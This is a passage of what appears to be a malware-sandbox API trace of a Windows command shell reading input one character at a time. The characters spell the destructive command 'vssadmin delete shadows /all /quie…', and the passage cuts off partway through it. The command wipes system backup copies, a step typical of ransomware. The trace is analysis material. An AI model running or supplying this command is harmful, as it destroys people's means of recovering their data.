lpNumberOfBytesWritten=0x14d3cff368*=0x2, lpOverlapped=0x0) returned 1 [0047.228] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0047.228] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a2485b0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0047.228] malloc (_Size=0x107ce) returned 0x1a2485c0060 [0047.229] _vsnwprintf (in: _Buffer=0x1a2485c0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x14d3cff3a8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0047.229] _vsnwprintf (in: _Buffer=0x1a2485c008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x14d3cff3a8 | out: _Buffer=">") returned 1 [0047.229] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.229] GetFileType (hFile=0x288) returned 0x3 [0047.229] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0047.229] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x14d3cff398, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff398*=0x18, lpOverlapped=0x0) returned 1 [0047.229] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.229] GetFileType (hFile=0x27c) returned 0x3 [0047.229] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.229] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.229] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0047.229] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.229] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.229] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.230] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.230] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.230] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.230] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.230] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.230] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.230] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.230] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.230] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.230] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0047.230] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.231] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0047.231] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.231] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0047.231] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.231] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0047.231] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.231] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0047.231] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.231] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0047.231] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.231] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0047.232] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.232] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0047.232] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.232] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0047.232] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.232] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0047.232] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.232] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0047.232] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.232] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.232] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.233] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.233] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.233] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.233] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.233] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.233] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.233] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.233] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.233] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.233] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0047.233] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.234] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0047.234] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.234] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0047.234] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.234] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0047.234] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.234] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0047.234] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.234] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0047.234] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.234] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0047.235] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.235] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0047.235] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.235] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0047.235] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.235] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0047.235] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.235] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0047.235] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.235] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.235] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0047.236] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.236] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.236] ReadFile (in: hFile=0x27c, 